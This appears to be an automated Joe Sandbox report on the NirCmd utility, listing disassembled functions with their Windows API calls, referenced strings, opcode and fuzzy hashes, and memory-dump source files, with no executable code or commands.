API ID: strcpy$DirectoryWindowsmemsetstrcatstrchr
String ID: \systemroot
API String ID: 359661927-1821301763
Opcode ID: e292e933170d71e49ee4c2042818374fff645c96ae4e9559add9145ef496c711
Instruction ID: e3701d57e88e19db89750a25ffa78663da6487f760b0d23193bdbba7164cdaf6
Opcode Fuzzy Hash: e292e933170d71e49ee4c2042818374fff645c96ae4e9559add9145ef496c711
Instruction Fuzzy Hash: 7D213D71308640A1EA26EB12E9843DA6251BB9D7C4F848162BB5E4F6A9DB3EC645C700

Function 00000001400027D0 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 46stringlibrarywindowCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(?,?,?,?,?,?,?,0000000140006FCE), ref: 0000000140002803
FormatMessageA.KERNEL32 ref: 0000000140002837
strlen.MSVCRT ref: 0000000140002846
strcpy.MSVCRT ref: 000000014000285B
LocalFree.KERNEL32 ref: 0000000140002865
strcpy.MSVCRT ref: 0000000140002877

Strings

Unknown Error, xrefs: 000000014000286D
netmsg.dll, xrefs: 00000001400027FC

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: strcpy$FormatFreeLibraryLoadLocalMessagestrlen
String ID: Unknown Error$netmsg.dll
API String ID: 3198317522-572158859
Opcode ID: 9f6409db640a2fe0525687c2b78c9b5cf147ed6bf5d743e1044b12acb2c0afb6
Instruction ID: 47a6bb3a5416b77daeb734d859dbf161d15d0202b5ba6ce46996740a9ad02959
Opcode Fuzzy Hash: 9f6409db640a2fe0525687c2b78c9b5cf147ed6bf5d743e1044b12acb2c0afb6
Instruction Fuzzy Hash: 35115572719A8082EB11DB17F84439AA3A2F78CBD5F088021FB494B7A9CF7DC9418B00

Function 0000000140001438 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 21libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 000000014000144E
GetProcAddress.KERNEL32 ref: 0000000140001461
GetModuleHandleA.KERNEL32 ref: 0000000140001472
GetProcAddress.KERNEL32 ref: 0000000140001482

Strings

Wtsapi32.dll, xrefs: 0000000140001447
kernel32.dll, xrefs: 0000000140001467
WTSGetActiveConsoleSessionId, xrefs: 0000000140001478
WTSQueryUserToken, xrefs: 0000000140001454

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: WTSGetActiveConsoleSessionId$WTSQueryUserToken$Wtsapi32.dll$kernel32.dll
API String ID: 384173800-3706966797
Opcode ID: 50e1ca6bc16f678b673df7e946e0188d09d80de742d0932e4f3e6f690e4144c4
Instruction ID: fd0e5844d833db8f2a195c727fbf2f625ea62ded63bde36988852b7573f6a743
Opcode Fuzzy Hash: 50e1ca6bc16f678b673df7e946e0188d09d80de742d0932e4f3e6f690e4144c4
Instruction Fuzzy Hash: 66F0F270602B4691EF128F66F8547A833B0F34DB84F404011EA0D0B334EF3AC299C350

Function 0000000140006244 Relevance: 13.6, APIs: 9, Instructions: 105fileCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000000014000626F
GetLastError.KERNEL32 ref: 00000001400063AD

Part of subcall function 00000001400028BC: CreateFileA.KERNEL32(?,?,?,?,?,?,?,?,0000000140001841), ref: 00000001400028DF

??2@YAPEAX_K@Z.MSVCRT ref: 00000001400062B4
ReadProcessMemory.KERNEL32 ref: 000000014000630E
WriteFile.KERNEL32 ref: 000000014000633C

Part of subcall function 0000000140002E20: ??2@YAPEAX_K@Z.MSVCRT ref: 0000000140002E52
Part of subcall function 0000000140002E20: ??2@YAPEAX_K@Z.MSVCRT ref: 0000000140002E5D
Part of subcall function 0000000140002E20: sprintf.MSVCRT ref: 0000000140002EA3
Part of subcall function 0000000140002E20: sprintf.MSVCRT ref: 0000000140002EDD
Part of subcall function 0000000140002E20: memcpy.MSVCRT ref: 0000000140002EF4
Part of subcall function 0000000140002E20: memset.MSVCRT ref: 0000000140002F2D
Part of subcall function 0000000140002E20: ??3@YAXPEAX@Z.MSVCRT ref: 0000000140002FA0

??3@YAXPEAX@Z.MSVCRT ref: 000000014000638A
CloseHandle.KERNEL32 ref: 0000000140006392
GetLastError.KERNEL32 ref: 000000014000639A
CloseHandle.KERNEL32 ref: 00000001400063A5

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: ??2@$??3@CloseErrorFileHandleLastProcesssprintf$CreateMemoryOpenReadWritememcpymemset
String ID:
API String ID: 2721736070-0
Opcode ID: fdf874b6459075d3f620a20e108ebe1a648c61fd66d8de336c16c6a3095a5557
Instruction ID: 244d93e89496cde2c486d158242e55ee9fdd52e08706edafe97e94249b6accaf
Opcode Fuzzy Hash: fdf874b6459075d3f620a20e108ebe1a648c61fd66d8de336c16c6a3095a5557
Instruction Fuzzy Hash: 3F417C726086808AD761DF27B48079EB2A2F78CBE0F544125FF9A53BA4DF39C945CB40

Function 0000000140009E98 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0000000140009ED1
GetFileAttributesA.KERNEL32 ref: 0000000140009F52
CoInitialize.OLE32 ref: 0000000140009F69
memset.MSVCRT ref: 0000000140009F84
GetModuleFileNameA.KERNEL32 ref: 0000000140009F96
CoUninitialize.OLE32 ref: 0000000140009FE6

Part of subcall function 0000000140007A34: _stricmp.MSVCRT(?,?,?,000000014000796A,?,?,?,0000000140006868), ref: 0000000140007A4D

Strings

Failed to create the shortcut !, xrefs: 0000000140009FF0

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: Filememset$AttributesInitializeModuleNameUninitialize_stricmp
String ID: Failed to create the shortcut !
API String ID: 1960653633-1381529132
Opcode ID: 679da1fa358a7cb17d4ab006e0bd6d38eca5062eee56c59c8dc85a6a2287029d
Instruction ID: 688c3bb02abfabafa039e5d9eaf9a2f6437dd2c7131ab2e66b31093d54750994
Opcode Fuzzy Hash: 679da1fa358a7cb17d4ab006e0bd6d38eca5062eee56c59c8dc85a6a2287029d
Instruction Fuzzy Hash: 744181B26087C092DB22DF62F4857EEA3A5F7887D4F444126FB59876A9DF79C109C700

Function 0000000140004784 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 87stringCOMMON

Download Yara Rule

APIs

_mbsicmp.MSVCRT ref: 00000001400047AB
memset.MSVCRT ref: 0000000140004825
strlen.MSVCRT ref: 000000014000482D
_mbsicmp.MSVCRT ref: 0000000140004881
_mbsicmp.MSVCRT ref: 0000000140004891

Strings

\\.\DISPLAY%s, xrefs: 0000000140004838
Primary, xrefs: 00000001400047A1

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: _mbsicmp$memsetstrlen
String ID: Primary$\\.\DISPLAY%s
API String ID: 2066724005-3630482177
Opcode ID: e3862853e18f7dfaf04decdd3b8ce888871b1f4aea938a0e76de89d37ba7c0a8
Instruction ID: 758b8f48552c4c3d72bc4f721a57a9a995aadac2235a4d89b34babc0cf3d2b75
Opcode Fuzzy Hash: e3862853e18f7dfaf04decdd3b8ce888871b1f4aea938a0e76de89d37ba7c0a8
Instruction Fuzzy Hash: 703182F260468186FBB6DA27F4403EE63A1F78C7C0F058535AB4E47AA7EB39D5458704

Function 000000014000A01C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000014000A056
GetFileAttributesA.KERNEL32 ref: 000000014000A0B1
CoInitialize.OLE32 ref: 000000014000A0C8
memset.MSVCRT ref: 000000014000A0E3
GetModuleFileNameA.KERNEL32 ref: 000000014000A0F5
CoUninitialize.OLE32 ref: 000000014000A146

Part of subcall function 0000000140007A34: _stricmp.MSVCRT(?,?,?,000000014000796A,?,?,?,0000000140006868), ref: 0000000140007A4D

Strings

Failed to create the shortcut !, xrefs: 000000014000A150

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: Filememset$AttributesInitializeModuleNameUninitialize_stricmp
String ID: Failed to create the shortcut !
API String ID: 1960653633-1381529132
Opcode ID: ff6314fff1c03b08cd7578e637c10f064f09ba804643e9089447bb85a2e860ce
Instruction ID: 67fc2121e279df186281e5c27207c334f7e405148d23e62e60de542f54edfd93
Opcode Fuzzy Hash: ff6314fff1c03b08cd7578e637c10f064f09ba804643e9089447bb85a2e860ce
Instruction Fuzzy Hash: 7A41B3B2208B8492DB21DF62F4857EEA3A1F7897D4F444216FB59476A5DFBDC109C700

Function 00000001400035B8 Relevance: 12.1, APIs: 8, Instructions: 68clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00000001400035DB
GetClipboardData.USER32 ref: 00000001400035EC
GlobalLock.KERNEL32 ref: 0000000140003601
CreateFileA.KERNEL32 ref: 0000000140003638
SetFilePointer.KERNEL32 ref: 000000014000364D
CloseHandle.KERNEL32 ref: 0000000140003687
GlobalUnlock.KERNEL32 ref: 0000000140003695
CloseClipboard.USER32 ref: 000000014000369B

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: Clipboard$CloseFileGlobal$CreateDataHandleLockOpenPointerUnlock
String ID:
API String ID: 809935413-0
Opcode ID: 44964b5467174d849ada34be4484336f80a65893067ee09063269fe8e6dd2f9a
Instruction ID: 12360110d38af5cbf7852ec671a64c4a6be2e78df0e48eb67b30b1416ece61b3
Opcode Fuzzy Hash: 44964b5467174d849ada34be4484336f80a65893067ee09063269fe8e6dd2f9a
Instruction Fuzzy Hash: F4217A71200A4082EB16DF27B9447A973A5F78CBD4F488225FF1A0BBB4DF7AD4458700

Function 0000000140004104 Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 67stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000014000413A
strlen.MSVCRT ref: 000000014000415F
strchr.MSVCRT ref: 0000000140004187
strcpy.MSVCRT ref: 00000001400041B6
strcat.MSVCRT ref: 00000001400041CB
strcat.MSVCRT ref: 00000001400041DA

Strings

\/:*?"<>|, xrefs: 000000014000413F
.url, xrefs: 00000001400041D0

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: strcat$memsetstrchrstrcpystrlen
String ID: .url$\/:*?"<>|
API String ID: 332718791-2798604190
Opcode ID: 6a811986edfd7087174e284627d6177ade3f8963043a2d7532cfb7689771d243
Instruction ID: af7658509a02034be8136cedc946db50c4d4b3ab71698071098308842990a299
Opcode Fuzzy Hash: 6a811986edfd7087174e284627d6177ade3f8963043a2d7532cfb7689771d243
Instruction Fuzzy Hash: BE218E7621868095EB62EB27E8407D977A0B78DBC4F584022FF8A0B7A6DB7DC545C701

Function 00000001400103CD Relevance: 10.6, APIs: 7, Instructions: 81COMMON

Download Yara Rule

APIs

CoUninitialize.OLE32(?,?,?,?,?,?,?,?), ref: 000000014000EB44
CoInitialize.OLE32(E9000054), ref: 00000001400103D8

Part of subcall function 00000001400146D0: free.MSVCRT ref: 00000001400146ED
Part of subcall function 00000001400146D0: CoCreateInstance.OLE32 ref: 0000000140014730

memset.MSVCRT ref: 0000000140010405
memset.MSVCRT ref: 000000014001041F
MultiByteToWideChar.KERNEL32 ref: 0000000140010453
MultiByteToWideChar.KERNEL32 ref: 0000000140010484

Part of subcall function 0000000140014B48: _wcsicmp.MSVCRT ref: 0000000140014B9C
Part of subcall function 0000000140014B48: _wcsicmp.MSVCRT ref: 0000000140014BAF

atof.MSVCRT ref: 00000001400104C2

Part of subcall function 00000001400159DC: CoCreateInstance.OLE32(?,?,?,?,?,000000014000AA2B), ref: 0000000140015A15

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide_wcsicmpmemset$InitializeUninitializeatoffree
String ID:
API String ID: 534064660-0
Opcode ID: c608701727323ea11da3200fc3b8ef3295e3934237a2d1d0b4761f078f748603
Instruction ID: 174808a3cbe59758963839d646f7531bcd79934c5c5dab38a3149ec8d79d0d21
Opcode Fuzzy Hash: c608701727323ea11da3200fc3b8ef3295e3934237a2d1d0b4761f078f748603
Instruction Fuzzy Hash: 4231D372608BC185EB32EB52B4557EB6360F78C7D9F404225AB590BAE6DF3CC145D700

Function 0000000140013BC0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 73registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000140013A84: LoadLibraryA.KERNEL32(?,?,?,?,0000000140013BDC), ref: 0000000140013A99
Part of subcall function 0000000140013A84: GetProcAddress.KERNEL32(?,?,?,?,0000000140013BDC), ref: 0000000140013AB5
Part of subcall function 0000000140013A84: GetProcAddress.KERNEL32(?,?,?,?,0000000140013BDC), ref: 0000000140013AD0

memset.MSVCRT ref: 0000000140013C29
RegOpenKeyExA.ADVAPI32 ref: 0000000140013C65
RegQueryValueExA.ADVAPI32 ref: 0000000140013CB2
RegCloseKey.ADVAPI32 ref: 0000000140013CBD
strcpy.MSVCRT ref: 0000000140013CCB

Part of subcall function 0000000140002BB0: GetVersionExA.KERNEL32(?,?,?,?,0000000140013BEC), ref: 0000000140002BCE

Strings

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 0000000140013C50

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: AddressProc$CloseLibraryLoadOpenQueryValueVersionmemsetstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
API String ID: 3830050946-2036018995
Opcode ID: b341214d6a02dc29ca4703e04fc9b77b794385c3662a34221aec755c86aedded
Instruction ID: a7194f0982357285e0634c35ce7e60dd7f73680f8a0e84455cdc9d27a1fbb07e
Opcode Fuzzy Hash: b341214d6a02dc29ca4703e04fc9b77b794385c3662a34221aec755c86aedded
Instruction Fuzzy Hash: 3B31A431204B8182EA729B16A4907DDA3A1F78D7C0F844121F7D90BAA5DF3AC545C780

Function 000000014000AA94 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 000000014000AAA3
memset.MSVCRT ref: 000000014000AB10
WideCharToMultiByte.KERNEL32 ref: 000000014000AB42
CoUninitialize.OLE32 ref: 000000014000AB89
MessageBoxA.USER32 ref: 000000014000ABA9

Strings

Sound Devices, xrefs: 000000014000AB9D

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: ByteCharInitializeMessageMultiUninitializeWidememset
String ID: Sound Devices
API String ID: 2929421039-445005488
Opcode ID: 51ef9afd1695b3256bef3cb8b80eecd1e125718681b8750997dd4ad79a59f5a3
Instruction ID: 1762d24ed35a859a78b16384363ec94a42aafc63a9b47fbbbb78fca7af153b21
Opcode Fuzzy Hash: 51ef9afd1695b3256bef3cb8b80eecd1e125718681b8750997dd4ad79a59f5a3
Instruction Fuzzy Hash: CB31AE72214A8582EB129F26F4853EA77A1F789394F044236B3980B8E9DF7EC149CB00

Function 0000000140013188 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00000001400131AD
GetClassNameA.USER32 ref: 00000001400131C0
_stricmp.MSVCRT ref: 00000001400131D2
_stricmp.MSVCRT ref: 00000001400131EB

Strings

SysListView32, xrefs: 00000001400131C6
SysTreeView32, xrefs: 00000001400131DF

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: _stricmp$ClassNamememset
String ID: SysListView32$SysTreeView32
API String ID: 1217931859-676203472
Opcode ID: 5b2272ace8e513bdee1e37f5a7cf431634cb626a578be9f6b695b25ba8747e63
Instruction ID: 1433966ddcc0db44f122e2b6acb9f638f7ef37b62fabd750da4959319ecac98f
Opcode Fuzzy Hash: 5b2272ace8e513bdee1e37f5a7cf431634cb626a578be9f6b695b25ba8747e63
Instruction Fuzzy Hash: 8501497130868291EB32AB16F9403D96765FB8D7C8F444131BB8D4F966EB3DC654C700

Function 0000000140013A84 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,0000000140013BDC), ref: 0000000140013A99
GetProcAddress.KERNEL32(?,?,?,?,0000000140013BDC), ref: 0000000140013AB5
GetProcAddress.KERNEL32(?,?,?,?,0000000140013BDC), ref: 0000000140013AD0

Strings

shell32.dll, xrefs: 0000000140013A92
SHEmptyRecycleBinA, xrefs: 0000000140013AC2
SHGetSpecialFolderPathA, xrefs: 0000000140013AAB

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: SHEmptyRecycleBinA$SHGetSpecialFolderPathA$shell32.dll
API String ID: 2238633743-3413488100
Opcode ID: 618c94454c743255a98543869fecce06a422ef0b123db991adc24434af96371f
Instruction ID: 18613bef642572ef21b1eba2afbe6f206cdd5da10a6fcfe79e2334e2543f49f4
Opcode Fuzzy Hash: 618c94454c743255a98543869fecce06a422ef0b123db991adc24434af96371f
Instruction Fuzzy Hash: 2FF09234605B41A0EA079B47E88479433F1EB4D7C0F801216E64D0B3B0EF7E8599C380

Function 0000000140013968 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000001400139EE
GetLastError.KERNEL32 ref: 0000000140013A3F
GetLastError.KERNEL32 ref: 0000000140013A52
GetLastError.KERNEL32 ref: 0000000140013A65

Strings

ServicesActive, xrefs: 0000000140013988

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID: ServicesActive
API String ID: 1452528299-3071072050
Opcode ID: 37e65885bb8d5e5867b5a22a3507a5079b81474ce9a87c7b269556fbc94ba65b
Instruction ID: 29442f53245169a938468189a4b00cbf4a81374868c4b4ac8d4e1e275533523c
Opcode Fuzzy Hash: 37e65885bb8d5e5867b5a22a3507a5079b81474ce9a87c7b269556fbc94ba65b
Instruction Fuzzy Hash: DB316131704B5086FB665B67A84479973A2AB8CFC4F884026FB8E4B774DF7EC8468701

Function 0000000140012788 Relevance: 9.1, APIs: 6, Instructions: 65stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00000001400127A3
_stricmp.MSVCRT ref: 00000001400127B3
strchr.MSVCRT ref: 00000001400127D2
memset.MSVCRT ref: 000000014001280B
strcpy.MSVCRT ref: 0000000140012830
strchr.MSVCRT ref: 000000014001283F

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: strchr$_stricmpmemsetstrcpy
String ID:
API String ID: 3870656766-0
Opcode ID: 5409022923a1bf47ee229eacaea90966b8e25a92dcb8e206bbc289f70c28c826
Instruction ID: 38c9761c50e30ac0a4cfa4d824e032ee2037c6c2aca636a6af7d6dbfc9dd6a82
Opcode Fuzzy Hash: 5409022923a1bf47ee229eacaea90966b8e25a92dcb8e206bbc289f70c28c826
Instruction Fuzzy Hash: F021C33160D18081FF779A27A5503FA13819B9DBC8F984021FB8D4F6EADA3EC4628721

Function 0000000140002D28 Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 0000000140002D41
GetDeviceCaps.GDI32 ref: 0000000140002D52
GetDeviceCaps.GDI32 ref: 0000000140002D62
ReleaseDC.USER32 ref: 0000000140002D6F
GetWindowRect.USER32 ref: 0000000140002D7D
MoveWindow.USER32 ref: 0000000140002DD8

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: CapsDeviceWindow$MoveRectRelease
String ID:
API String ID: 3197862061-0
Opcode ID: 1b70405dff2aa8e781d6797f1174d88fd6bffd030006ea2f6a11eca3977ba8e8
Instruction ID: f1c0acb8186055f8aaf9e821dacbf50ab36289ca587127e68a80cac79e17d5fe
Opcode Fuzzy Hash: 1b70405dff2aa8e781d6797f1174d88fd6bffd030006ea2f6a11eca3977ba8e8
Instruction Fuzzy Hash: 20116D766286408BD7198F36F414B4EBB61F388BD0F045224FA8B47B68DF3ED4058B00

Function 00000001400065C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46registryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000014000660F
GetModuleHandleA.KERNEL32 ref: 0000000140006616
RegisterClassA.USER32 ref: 0000000140006645
CreateWindowExA.USER32 ref: 0000000140006687

Strings

NirCmdWinCls, xrefs: 00000001400065DE

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: ClassCreateHandleModuleRegisterWindowmemset
String ID: NirCmdWinCls
API String ID: 2001056077-2221025072
Opcode ID: c35aa9cef76a5e4fa95ec54fa6256e36aa1291f4e602a1ef73f56c5dd2bc107a
Instruction ID: b4743448f54363cf6df1e1bd232597144b022e3c5283ad4ad0b6799721f60ccb
Opcode Fuzzy Hash: c35aa9cef76a5e4fa95ec54fa6256e36aa1291f4e602a1ef73f56c5dd2bc107a
Instruction Fuzzy Hash: B8214972218B8497EB11CF25F44439AB7B0F38879AF544625E7884BA79DF7DC159CB00

Function 0000000140013210 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0000000140013235
GetClassNameA.USER32 ref: 0000000140013248
_stricmp.MSVCRT ref: 000000014001325A
EnumChildWindows.USER32 ref: 0000000140013273

